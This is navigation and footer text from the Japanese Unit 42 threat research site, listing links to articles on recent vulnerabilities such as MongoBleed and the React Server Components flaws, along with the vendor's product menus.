[CVE-2026-22584](https://unit42.paloaltonetworks.com/ja/tag/cve-2026-22584/ "CVE-2026-22584") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/rce-vulnerabilities-in-ai-python-libraries/ "最新のAI/MLフォーマットとライブラリによるリモート コード実行") ![Pictorial representation of MongoBleed, CVE-2025-14847. Digital image featuring a glowing padlock icon superimposed on a background of streaming blue binary code, symbolizing cybersecurity.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/01/AdobeStock_233494953-786x429.jpeg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年1月13日 [#### 脅威ブリーフ: MongoDB の脆弱性 (CVE-2025-14847)](https://unit42.paloaltonetworks.com/ja/mongobleed-cve-2025-14847/) * [CVE-2025-14847](https://unit42.paloaltonetworks.com/ja/tag/cve-2025-14847/ "CVE-2025-14847") * [MongoDB](https://unit42.paloaltonetworks.com/ja/tag/mongodb-ja/ "MongoDB") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/mongobleed-cve-2025-14847/ "脅威ブリーフ: MongoDB の脆弱性 (CVE-2025-14847)") ![Pictorial representation of CVE-2025-55182 (React) and CVE-2025-66478 (Next.js). Close-up of a digital display on electronic equipment with illuminated text reading "SYSTEM HACKED" in red, set against a blurred background of blue and red lights.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/12/02_Vulnerabilities_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2025年12月12日 [#### React Server Components における重大な脆弱性の悪用 (12月12日更新)](https://unit42.paloaltonetworks.com/ja/cve-2025-55182-react-and-cve-2025-66478-next/) * [Cobalt Strike](https://unit42.paloaltonetworks.com/ja/tag/cobalt-strike-ja/ "Cobalt Strike") * [CVE-2025-55182](https://unit42.paloaltonetworks.com/ja/tag/cve-2025-55182-ja/ "CVE-2025-55182") * [CVE-2025-66478](https://unit42.paloaltonetworks.com/ja/tag/cve-2025-66478-ja/ "CVE-2025-66478") [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/cve-2025-55182-react-and-cve-2025-66478-next/ "React Server Components における重大な脆弱性の悪用 (12月12日更新)") * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]() ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/04/Unit-42_get-updates-banner.png) ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Unit 42 からの最新情報を取得 ## 進化する脅威の状況を常に先取り メール アドレス 本フォームを送信することにより、[利用規約](https://www.paloaltonetworks.jp/legal-notices/terms-of-use)に同意し、[プライバシー ポリシー](https://www.paloaltonetworks.jp/legal-notices/privacy)を承認したことになります。 本サイトは reCAPTCHA で保護されており、Googleの[プライバシー ポリシー](https://policies.google.com/privacy) と[サービス利用規約](https://policies.google.com/terms)が適用されます。 Invalid captcha! サブスクライブ ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg) {#footer} 製品とサービス * [AI利用ネットワーク セキュリティ プラットフォーム](https://www.paloaltonetworks.jp/network-security) * [AIのセキュア バイ デザイン](https://www.paloaltonetworks.jp/precision-ai-security/secure-ai-by-design) * [Prisma AIRS](https://www.paloaltonetworks.jp/prisma/prisma-ai-runtime-security) * [AI Access Security](https://www.paloaltonetworks.jp/sase/ai-access-security) * [クラウド提供型セキュリティ サービス](https://www.paloaltonetworks.jp/network-security/security-subscriptions) * [Advanced Threat Prevention](https://www.paloaltonetworks.jp/network-security/advanced-threat-prevention) * [Advanced URL Filtering](https://www.paloaltonetworks.jp/network-security/advanced-url-filtering) * [Advanced WildFire](https://www.paloaltonetworks.jp/network-security/advanced-wildfire) * [Advanced DNS Security](https://www.paloaltonetworks.jp/network-security/advanced-dns-security) * [Enterprise Data Loss Prevention](https://www.paloaltonetworks.jp/sase/enterprise-data-loss-prevention) * [Enterprise IoT Security](https://www.paloaltonetworks.jp/content/pan/ja_JP/network-security/enterprise-iot-security) * [Medical IoT Security](https://www.paloaltonetworks.jp/network-security/medical-device-security) * [Industrial OT Security](https://www.paloaltonetworks.jp/content/pan/ja_JP/network-security/industrial-ot-security) * [SaaS Security](https://www.paloaltonetworks.jp/sase/saas-security) * [次世代ファイアウォール](https://www.paloaltonetworks.jp/network-security/next-generation-firewall) * [ハードウェア ファイアウォール](https://www.paloaltonetworks.jp/network-security/hardware-firewall-innovations) * [ソフトウェア ファイアウォール](https://www.paloaltonetworks.jp/network-security/software-firewalls) * [Strata Cloud Manager](https://www.paloaltonetworks.jp/network-security/strata-cloud-manager) * [SD-WAN for NGFW](https://www.paloaltonetworks.jp/network-security/sd-wan-subscription) * [PAN-OS](https://www.paloaltonetworks.jp/network-security/pan-os) * [Panorama](https://www.paloaltonetworks.jp/network-security/panorama) * [セキュア アクセス サービス エッジ](https://www.paloaltonetworks.jp/sase) * [Prisma SASE](https://www.paloaltonetworks.jp/sase) * [App Acceleration](https://www.paloaltonetworks.jp/sase/app-acceleration) * [自律型デジタルエクスペリエンス管理](https://www.paloaltonetworks.jp/sase/adem) * [Enterprise DLP](https://www.paloaltonetworks.jp/sase/enterprise-data-loss-prevention) * [Prisma Access](https://www.paloaltonetworks.jp/sase/access) * [Prisma Browser](https://www.paloaltonetworks.jp/sase/prisma-browser) * [Prisma SD-WAN](https://www.paloaltonetworks.jp/sase/sd-wan) * [リモート ブラウザ分離](https://www.paloaltonetworks.jp/sase/remote-browser-isolation) * [SaaS Security](https://www.paloaltonetworks.jp/sase/saas-security) * [AI駆動型セキュリティ運用プラットフォーム](https://www.paloaltonetworks.jp/cortex) * [Cloud Security](https://www.paloaltonetworks.jp/cortex/cloud) * [Cortex Cloud](https://www.paloaltonetworks.jp/cortex/cloud) * [Application Security](https://www.paloaltonetworks.jp/cortex/cloud/application-security) * [Cloud Posture Security](https://www.paloaltonetworks.jp/cortex/cloud/cloud-posture-security) * [Cloud Runtime Security](https://www.paloaltonetworks.jp/cortex/cloud/runtime-security) * [Prisma Cloud](https://www.paloaltonetworks.jp/prisma/cloud) * [AI駆動型SOC](https://www.paloaltonetworks.jp/cortex) * [Cortex XSIAM](https://www.paloaltonetworks.jp/cortex/cortex-xsiam) * [Cortex XDR](https://www.paloaltonetworks.jp/cortex/cortex-xdr) * [Cortex XSOAR](https://www.paloaltonetworks.jp/cortex/cortex-xsoar) * [Cortex Xpanse](https://www.paloaltonetworks.jp/cortex/cortex-xpanse) * [Unit 42マネージド ディテクション\&レスポンス](https://www.paloaltonetworks.jp/cortex/managed-detection-and-response) * [マネージドXSIAM](https://www.paloaltonetworks.jp/cortex/managed-xsiam) * [次世代のアイデンティティ セキュリティ](https://www.paloaltonetworks.jp/idira) * [特権アクセス管理](https://www.paloaltonetworks.jp/idira/human/privileged-access-management) * [アイデンティティ管理とアクセス管理](https://www.paloaltonetworks.jp/idira/human/identity-and-access-management) * [Endpoint Privilege Manager](https://www.paloaltonetworks.jp/idira/human/endpoint-privilege-manager) * [アイデンティティ ガバナンス](https://www.paloaltonetworks.jp/idira/human/identity-governance) * [従業員パスワード管理](https://www.paloaltonetworks.jp/idira/human/workforce-password-management) * [エージェンティック アイデンティティ](https://www.paloaltonetworks.jp/idira/agentic) * [シークレット管理](https://www.paloaltonetworks.jp/idira/machine/secrets-management) * [統合型シークレット ガバナンス](https://www.paloaltonetworks.jp/idira/machine/unified-secrets-governance) * [アプリケーションの認証情報配信](https://www.paloaltonetworks.jp/idira/machine/application-credentials-delivery) * [ベンダーの特権アクセス](https://www.paloaltonetworks.jp/idira/human/vendor-privileged-access) * [脅威インテリジェンス\&インシデント レスポンス サービス](https://www.paloaltonetworks.jp/unit42) * [予防評価](https://www.paloaltonetworks.jp/unit42/assess) * [インシデント レスポンス](https://www.paloaltonetworks.jp/unit42/respond) * [セキュリティ戦略を変革](https://www.paloaltonetworks.jp/unit42/transform) * [脅威インテリジェンスについて](https://www.paloaltonetworks.jp/unit42/threat-intelligence-partners) 会社名 * [パロアルトネットワークスについて](https://www.paloaltonetworks.jp/about-us) * [採用情報](https://jobs.paloaltonetworks.com/en/) * [お問合せ](https://www.paloaltonetworks.jp/company/contact-sales) * [企業責任](https://www.paloaltonetworks.com/about-us/corporate-responsibility) * [お客様向け](https://www.paloaltonetworks.jp/customers) * [IR](https://investors.paloaltonetworks.com/) * [拠点](https://www.paloaltonetworks.com/about-us/locations) * [ニュースルーム](https://www.paloaltonetworks.jp/company/newsroom) 人気のあるリンク * [ブログ](https://www.paloaltonetworks.com/blog/?lang=ja) * [コミュニティ](https://www.paloaltonetworks.com/communities) * [コンテンツライブラリ](https://www.paloaltonetworks.jp/resources) * [Cyberpedia](https://www.paloaltonetworks.jp/cyberpedia) * [イベントセンター](https://events.paloaltonetworks.com/) * [電子メール設定の管理](https://start.paloaltonetworks.com/preference-center) * [製品A〜Z](https://www.paloaltonetworks.jp/products/products-a-z) * [製品認証](https://www.paloaltonetworks.com/legal-notices/trust-center/compliance) * [脆弱性の報告](https://www.paloaltonetworks.com/security-disclosure) * [サイトマップ](https://www.paloaltonetworks.jp/sitemap) * [テクニカル ドキュメント](https://docs.paloaltonetworks.com/) * [Unit 42](https://unit42.paloaltonetworks.jp/) * [個人情報の販売および共有禁止](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd) ![Palo Alto Networks Logo](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/pan-logo-dark.svg) * [プライバシー](https://www.paloaltonetworks.jp/legal-notices/privacy) * [トラスト センター](https://www.paloaltonetworks.jp/legal-notices/trust-center) * [利用規約](https://www.paloaltonetworks.jp/legal-notices/terms-of-use) * [ドキュメント](https://www.paloaltonetworks.jp/legal-notices) Copyright © 2026 Palo Alto Networks. All Rights Reserved * [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks) * [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks) * [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/) * [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks) * [![](https://www.paloaltonetworks.jp/content/dam/pan/en_US/images/icons/podcast.svg)](https://unit42.paloaltonetworks.com/unit-42-threat-vector-podcast/) * JP Select your language ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ### Default Heading Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) Seekbar ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg) Volume ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)